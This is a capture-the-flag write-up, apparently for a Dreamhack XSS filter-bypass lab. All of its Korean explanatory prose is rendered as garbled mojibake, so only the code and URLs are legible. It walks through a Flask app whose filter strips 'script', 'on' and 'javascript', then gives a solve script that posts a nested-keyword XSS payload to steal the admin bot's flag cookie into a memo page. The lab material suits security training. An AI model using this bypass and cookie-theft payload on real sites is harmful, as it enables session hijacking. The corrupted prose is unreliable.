โ๏ธ XSS Filtering Bypass ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด
1. ๋ฌธ์ ์ ๋ํ ์ค๋ช ์ ์ฝ์ ํ ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋
2. ๋ค์ด๋ฐ์ app.py ํ์ผ ์คํ ํ ์ฝ๋ ๋ถ์
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
A) ํ์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ imoport
๋ผ์ด๋ธ๋ฌ๋ฆฌ | ์ค๋ช |
Flask | ์น ํ๋ ์์ํฌ |
Request | HTTP ์์ฒญ ์ฒ๋ฆฌ ๊ด๋ จ ๊ธฐ๋ฅ |
Render_template | HTML ํ ํ๋ฆฟ ๋ ๋๋ง |
Selenium | ์น ๋ธ๋ผ์ฐ์ ์๋ํ ๋๊ตฌ |
Urllib | URL ์ธ์ฝ๋ฉ ๊ธฐ๋ฅ |
OS | ์ด์์ฒด์ ์์ ์ํธ์์ฉ ๊ธฐ๋ฅ |
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
B) Flask ์ ํ๋ฆฌ์ผ์ด์ ์์ฑ ๋ฐ ์ค์
์งํ ๊ณผ์ | ์ค๋ช |
์ฑ ์ธ์คํด์ค ์์ฑ | app = Flask(__name__) |
์ํธํ์ฉ ๋๋ค ํค ์์ฑ | app.secret_key = os.urandom(32) |
์์ธ ์ฒ๋ฆฌ๋ฅผ ํตํ flag.txt ํ์ผ ์ฝ๊ธฐ | try ~ except ๋ฌธ |
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
C) ์น ๋ธ๋ผ์ฐ์ ์๋ํ ๊ด๋ จ ํจ์ ์ ์
ํจ์ | ์ฉ๋ |
read_url(url, cookie) ํจ์ | ์ฃผ์ด์ง URL์ ๋ธ๋ผ์ฐ์ ๋ก ์ด์ด๋ณด๊ณ , ์ฟ ํค ์ถ๊ฐ ์์ฒญ |
check_xss(param, cookie) ํจ์ | XSS(Cross-Site Scripting) ์ทจ์ฝ์ ์๋ฎฌ๋ ์ด์
์ ์ํด ์ฃผ์ด์ง ๋งค๊ฐ๋ณ์๋ก URL์ ์์ฑ + read_url() ํจ์ ํธ์ถํ์ฌ ํ ์คํธ |
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
D) ํํฐ๋ง ํจ์ xss_filter()
: ์ฃผ์ด์ง ํ ์คํธ์์ ํน์ ํค์๋("script", "on", "javascript")๊ฐ ํฌํจ๋์ด ์๋ ๊ฒฝ์ฐ ์ ๊ฑฐ
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
E) ๋ผ์ฐํธ ๋ฐ ํธ๋ค๋ฌ ์ ์
์ ์ ๊ฒฝ๋ก | ์งํ ์์ |
"/" ๊ฒฝ๋ก์ ์ ์ ์ | "index.html" ํ ํ๋ฆฟ ๋ ๋๋ง |
"/vuln" ๊ฒฝ๋ก์ ์ ์ ์ | ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ "param" ๊ฐ์ ๋ฐ์์ xss_filter ํจ์๋ฅผ ์ ์ฉํ ํ ๋ฐํ |
"/flag" ๊ฒฝ๋ก์ ์ ์ ์ | GET ์์ฒญ์ "flag.html" ํ ํ๋ฆฟ ๋ ๋๋ง, POST ์์ฒญ์ ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ "param" ๊ฐ์ ์ฒดํฌํ ํ ๊ฒฐ๊ณผ ๋ฐํ |
"/memo" ๊ฒฝ๋ก์ ์ ์ ์ | ๊ฒฝ๋ก์ ์ ์ ์, ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ "memo" ๊ฐ์ ๋ฐ์์ ์ ์ญ ๋ณ์์ ๋์ ์ ์ฅํ ํ "memo.html" ํ ํ๋ฆฟ ๋ ๋๋ง |
app.run(host="0.0.0.0", port=8000)
F) ๋ผ์ฐํธ ๋ฐ ํธ๋ค๋ฌ ์ ์
: 0.0.0.0 ์ฃผ์์ 8000 ํฌํธ๋ก ์ฑ ์คํ
3. ๋ค์ ๋ฌธ์ ํ์ด์ง๋ก ๋์์ ์๋ฒ ์์ฑ
--> ์์ฑ๋ http://host3.dreamhack.games:16338/ ์ผ๋ก ์ ์
4. ๋ฌธ์ ํด๊ฒฐ์ ์ํ ์คํฌ๋ฆฝํธ ์์ฑ ํ ์คํ
import requests
url = 'http://host3.dreamhack.games:16338/flag'
data = {"param": '<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>'}
r = requests.post(url=url, data=data)
print(r.text)
--> ์คํฌ๋ฆฝํธ ์คํ ํ๊ฒฝ์ Google Colab
โป ์ฝ๋ ์ค๋ช
โ requests ๋ผ์ด๋ธ๋ฌ๋ฆฌ Import
: HTTP ์์ฒญ์ ๋ณด๋ด๋๋ฐ ์ด์ฉ๋๋ requests ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ํฌํธ
โก ์คํฌ๋ฆฝํธ์ ๋์์ด ๋๋ URL ์ค์
: ์์ฒญ์ ๋ณด๋ผ URL ์ ์
โข Data ์ค์
: POST ์์ฒญ ์ ํจ๊ป ์ ์กํ data ์ค์
โฃ POST ์์ฒญ ์ ์ก
: โข๋ฒ ๊ณผ์ ์์ ์ค์ ํ data ๋ณ์์ ๋ด์ฉ์ ํฌํจํ์ฌ, ๋์ URL์ POST ์์ฒญ ์ ์ก
โค ์๋ต ์ถ๋ ฅ
: ์๋ฒ๋ก๋ถํฐ ๋ฐ์ ์๋ต์ ํ ์คํธ ํํ๋ก ์ถ๋ ฅ
5. ๋ค์ ์๋ฒ๋ก ๋์์ "memo" ํด๋ฆญ --> FLAG ํ์ธ ๊ฐ๋ฅ
์คํฌ๋ฆฝํธ ์คํ ์
์คํฌ๋ฆฝํธ ์คํ ํ